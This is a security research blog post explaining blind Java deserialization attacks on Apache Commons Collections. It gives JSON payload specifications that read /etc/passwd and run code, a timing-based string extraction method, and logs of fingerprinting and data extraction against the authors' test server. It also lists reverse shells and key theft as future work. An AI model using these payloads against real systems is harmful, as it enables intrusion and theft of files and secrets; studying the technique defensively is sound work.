TL;DR: The practical exploitation of the blind java deserialization technique introduced in the previous blog post. Practical demonstration of the victim fingerprinting and information extraction from the system (properties, files).

Parts:

  1. Introduction
  2. Testing
  3. Building the payloads dynamically
  4. JSON spec
  5. String extraction
  6. Exploitation
  7. Demo

Introduction

In the Part 1 of our article we introduced a concept of blind Java Deserialization using Apache CommonsCollections exploit classes.

Apache CommonsCollections is a popular Java library that can get into the project also via transitive dependencies. Vulnerable application can run on arbitrary Servlet container (Tomcat, JBoss, WebSphere). Application is vulnerable if it contains CommonsCollections <= v3.2.1 or <= v4 on the Classpath and deserializes data provided by user (e.g., web page input, RMI, JMX). The serialized Java object starts with rO0 in base64 and ac ed 00 05 in hex.

Summary of the Part 1: with crafting a payload we can make a vulnerable application sleep on certain conditions, e.g., if the running Java is version 8, a binary search of the character. Such sleep leaks one bit of information. We automate this approach to extract the whole strings and files from the vulnerable systems.

This approach is useful if normal RCE from ysoserial toolchain does not work from some reason (firewall, policy, SecurityManager, selinux, IDS). We can extract precious pieces of information using this technique, which help us with further attacks, e.g., database connection strings, passwords, private keys, machine configuration.

Testing

In order to test deserialization vulnerability payloads in real environment, we made a simple REST server than accepts an input parameter in BASE64, deserializes it and prints the result (if applicable). Our payloads are tested against this test server.

Apache Commons-collection 3.1 is included as dependency so the CommonsCollections exploit class works. The server uses the Spring Boot framework and can be started from command line (has embedded Tomcat server). It is easy to test if the generated payload works as expected (sleep / exception).

Deserialize test server can be found on the GitHub. You can test against it with our attack tool.

Building the payloads dynamically

ysoserial is a good place to start with Java Deserialization. It has a simple CLI one can use to build a simple payload. In the Part 1 we extended the possibilities of the payload generation.

Our goal is mainly to automate binary search and string extraction from the vulnerable system. For each guess we need to construct a new payload on the fly. There is plenty of options to construct such payload dynamically so we decided to build the payload from the JSON specification.

JSON spec

JSON specification is a scheme for the payload. It determines how the resulting payload is constructed by the Generator.java which takes the JSON spec as an input and produces binary payload with the functionality defined in the spec.

Here are a few examples of payload construction:

Very simple payload - sleeps for 5 seconds.

{"exec":[
  {"cmd":"sleep", "val": 5000},
]}

The same sleep payload but using another CommonsCollections path - corresponds to CommonsCollections5 in ysoserial. Moreover the payload is valid (default option) = it does not throw an exception after deserialization finishes (see Part 1 for more info).

{"exec":[
  {"cmd":"sleep", "val": 5000}],
  "valid": true, "module": 5
}

This payload has 2 consequent commands. java command is a macro we defined in the Generator.java which detects whether the running Java version is 8. It does that by Classloading a class that was added in Java 8. Thus if Java 8 is there, class load succeeds and sleep is invoked. If lower java version is there, class loading fails with exception and sleep is not invoked.

{"exec":[
  {"cmd":"java", "val": 8},
  {"cmd":"sleep", "val": 5000}
]}

The following payload is a simple if (predicate) then action. fileEx is another macro which constructs a predicate returning true if the given file exists. In this example the application sleeps in that case.

{"exec":[
  {"cmd":"if",
     "pred":{"cmd":"fileEx", "val": "/etc/passwd"},
     "then":{"cmd":"sleep", "val": 5000}
  }
]}

This payload reads the /etc/passwd file from the file system, converts all characters to lowercase and tests if the result contains a string nbusr123. If it does, the app sleeps for 5 seconds.

{"exec":[
  {"cmd":"if", "pred":[
  {"cmd":"fileRead", "val":"/etc/passwd"},
  {"cmd":"toLower"},
  {"cmd":"contains", "val":"nbusr123"}],
  "then":{"cmd":"sleep", "val": 5000}}
]}

This one demonstrated how to do a binary search on the input string - in this case the /etc/passwd file. The page sleeps for 5 seconds if the 16th character of the file is in the regex range [a-z].

{"exec":[
  {"cmd":"if", "pred":[
  {"cmd":"fileRead", "val":"/etc/passwd"},
  {"cmd":"toLower"},
  {"cmd":"substr", "start":15, "stop":16},
  {"cmd":"matches", "val":"[a-z]"}],
  "then":{"cmd":"sleep", "val": 5000}}
]}

The last example demonstrates the payload wrapping inside a HashMap. This is handy if the application expects the HashMap after deserialization. With this we avoid ClassCastException.

{"exec":[
  {"cmd":"sleep", "val": 5000}],
  "wrap":{"type":"map", "key":"foo", "into":{
    "eval2": "java.util.HashMap m = new java.util.HashMap();m.put(\"hello\", \"world\");return m;"
}}}

The following JSON spec is different from others. It does not use Transformer chain, but javassist approach (see the Part 1). With javassist exploit classes user does not have to express the logic with Transformers but can use Java code directly. Obviously the expressivity in this case is much greater, more sophisticated payloads can be constructed (e.g., reverse shell). This kind of exploits was not our main focus, but we also support these for testing if the destination machine is vulnerable (see report below):

{"javassist":"cc3", "code":"java.lang.Thread.sleep(5000L);"}

To learn more on gadget construction consult the Generator.java sources.

User does not have to write JSON spec directly, Attack.java implements few interesting use cases for the user (it internally constructs JSON spec, payload is generated and used). But writing those may come handy if you want to express a new functionality or build payloads separately - e.g., build a REST server generating payloads - request = JSON spec, response = generated payload.

String extraction

In order to extract the string, we first check if the string is null or empty. If it’s not, we proceed to the step 2 - length extraction.

We choose the simple algorithm to determine the string length: String.substr(). If the index is out of bounds (i.e., string does not contain it) the exception is thrown.

We thus make guesses like:

String.substr(0, 1);  // ok
String.substr(0, 2);  // ok
String.substr(0, 4);  // ok
String.substr(0, 8);  // ok
String.substr(0, 16); // exception

If the exception is thrown we know the length of the string is somewhere in between 8 - 15. The next step is to start a binary search in the interval 8 - 15 to find the exact length.

Then we extract one character after another using a binary search on the alphabet. It’s done by String.matches() using regular expressions. The alphabet consists of printable ASCII characters + binary null.

Our regex alphabet:

[\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]

The practical string extraction is demonstrated below.

Optimizations

The approach can be optimized so the algorithm waits a minimum time during the binary search. This can be done simply by a frequency analysis. In the particular step the algorithm asks whether the character being found is located in the range [BCDEFG] or [HIJKLM]. For us it is better to wait the minimum time, thus check the group which is less probable to occur (thus we don’t sleep).

Also the previous guesses can be used to further optimize the search, e.g., with more complex frequency analysis (digrams, trigrams), autocomplete engines or AI.

Exploitation

The exploitation example is in Attack.java which demonstrates:

  • extraction of os.name property
  • extraction of PATH environment variable
  • extraction of /etc/hosts from the system
  • simple victim fingerprinting (determines working exploit classes, java version, OS, security manager access, a few interesting properties)

Affected libraries

The Blind attack is mainly focused on Apache Commons Collections library. Affected versions are Apache Commons Collections <= v3.2.1 and <= v4.0. The security problem is fixed in v3.2.2 and v4.1.

Further work

  • The work can be extended and added as a Metasploit module or Burp module.
  • Extending information extraction also to javassist exploits.
  • Implementation of reverse shell payload in javassist exploit class.
  • Improve the system fingerprinting, scan for running services (e.g., MySQL, Oracle, Tomcat).
  • Container fingerprinting (Tomcat, JBoss, WebSphere, …).
  • Private key extraction from web servers & containers.
  • Implementation of DoS payloads.

Resources:

Demo

  1. Clone Deserialize test server and extended ysoserial.
  2. Start the Deserialize test server.
  3. Test whether it is listening on port 8022 - in the readme of the server you find how to compile it and test it.
  4. Run the GeneratorTest.java test class from the extended ysoserial. It constructs payloads from JSON specifications and runs them against the deserialize server.
  5. Run the AttackTest.java test class from the extended ysoserial. It contains the exploitation technique demonstration described above. The attack is launched against the test server and produces the report as below.
  6. Have fun.

Report - shortened

The Attack.java runs an automated test against the victim to determine few interesting properties:

# Testing CommonsCollections - Transformer based, v3
Sleep Commons01 worked: true
Sleep Commons05 worked: true
Sleep Commons06 worked: true

# Testing javassist exploit classes
# Accepting the raw Java code as payload body.
# cc = CommonsCollections. cc2, cc4 uses v4 lib
Javassist[       cb1] worked: false
Javassist[       cc2] worked: false
Javassist[       cc3] worked: true
Javassist[       cc4] worked: false
Javassist[ hibernate] worked: false
Javassist[      weld] worked: false
Javassist[     jboss] worked: false
Javassist[      jdk7] worked: false
Javassist[      json] worked: false
Javassist[     rhino] worked: false
Javassist[      rome] worked: false
Javassist[   spring1] worked: false
Javassist[   spring2] worked: false

# Testing maximum length of the payload
# server accepts
Length limit 1k passed: true
Length limit 4k passed: true
Length limit 16k passed: true
Length limit 256k passed: true
Exception in post Req
Length limit 1M passed: false

# Major java version running the app
Java 4 version: true
Java 5 version: true
Java 6 version: true
Java 7 version: true
Java 8 version: true

# Security manager active?
Security manager == null? true

# os.name fingerprinting
OS: win: false
OS: mac: true
OS: darwin: false
OS: nux: false
OS: sun: false
OS: bsd: false

# Path on which ping resides
OS: /bin/ping false
OS: /sbin/ping true
OS: /usr/bin/ping false
OS: /usr/sbin/ping false
OS: /usr/local/bin/ping false

# Security manager checks &
# read, write, exec checks
Can connect to google.com:80: true
Can exec /bin/bash: true
Can read /etc/passwd: true
Can write to /tmp : true
Can write to /var/tmp : true

Going to extract property: os.name

os.name

Example of a property extraction from the system.

Going to extract property: os.name
Prepared alphabet: \x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s
Num steps in binary search 6.6582114827517955
Going to find length of the string
String is null: false
String is empty: false
--Max length guess: 1
--Max length guess: 2
--Max length guess: 4
--Max length guess: 8
--Max length guess: 16
Length is between 7 and 16
--Length: 7 - 16, mid: 12
--Length: 7 - 11, mid: 9
--Length: 7 - 8, mid: 8
--[0]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0000]Length: 000 - 101, mid: 051. y: 1, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0000]Length: 000 - 051, mid: 026. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./01234]                         vs [56789:;<=>[email protected]]
--[0000]Length: 026 - 051, mid: 039. y: 0, range: [56789:;<=>[email protected]]                         vs [BCDEFGHIJKLM]
--[0000]Length: 039 - 051, mid: 045. y: 0, range: [BCDEFG]                         vs [HIJKLM]
--[0000]Length: 045 - 051, mid: 048. y: 0, range: [HIJ]                         vs [KLM]
--[0000]Length: 048 - 051, mid: 050. y: 0, range: [KL]                         vs [M]
--[0]=✂M✂
--[1]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0001]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`]                         vs [abcdef]
--[0001]Length: 070 - 076, mid: 073. y: 1, range: [abc]                         vs [def]
--[0001]Length: 070 - 073, mid: 072. y: 1, range: [ab]                         vs [c]
--[0001]Length: 070 - 072, mid: 071. y: 1, range: [a]                         vs [b]
--[1]=✂a✂
--[2]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0002]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`]                         vs [abcdef]
--[0002]Length: 070 - 076, mid: 073. y: 1, range: [abc]                         vs [def]
--[0002]Length: 070 - 073, mid: 072. y: 0, range: [ab]                         vs [c]
--[2]=✂c✂
--[3]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs]                         vs [tuvwxyz\{\|\}~\s]
--[0003]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy]                         vs [z\{\|\}~\s]
--[0003]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|]                         vs [\}~\s]
--[0003]Length: 098 - 101, mid: 100. y: 0, range: [\}~]                         vs [\s]
--[3]=✂ ✂
--[4]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0004]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST]                         vs [UVWXYZ]
--[0004]Length: 051 - 058, mid: 055. y: 1, range: [NOPQ]                         vs [RST]
--[0004]Length: 051 - 055, mid: 053. y: 1, range: [NO]                         vs [PQ]
--[0004]Length: 051 - 053, mid: 052. y: 0, range: [N]                         vs [O]
--[4]=✂O✂
--[5]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0005]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST]                         vs [UVWXYZ]
--[0005]Length: 051 - 058, mid: 055. y: 0, range: [NOPQ]                         vs [RST]
--[0005]Length: 055 - 058, mid: 057. y: 1, range: [RS]                         vs [T]
--[0005]Length: 055 - 057, mid: 056. y: 0, range: [R]                         vs [S]
--[5]=✂S✂
--[6]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs]                         vs [tuvwxyz\{\|\}~\s]
--[0006]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy]                         vs [z\{\|\}~\s]
--[0006]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|]                         vs [\}~\s]
--[0006]Length: 098 - 101, mid: 100. y: 0, range: [\}~]                         vs [\s]
--[6]=✂ ✂
--[7]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>[email protected]]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0007]Length: 051 - 064, mid: 058. y: 0, range: [NOPQRST]                         vs [UVWXYZ]
--[0007]Length: 058 - 064, mid: 061. y: 0, range: [UVW]                         vs [XYZ]
--[0007]Length: 061 - 064, mid: 063. y: 1, range: [XY]                         vs [Z]
--[0007]Length: 061 - 063, mid: 062. y: 1, range: [X]                         vs [Y]
--[7]=✂X✂
Extracted string: Mac OS X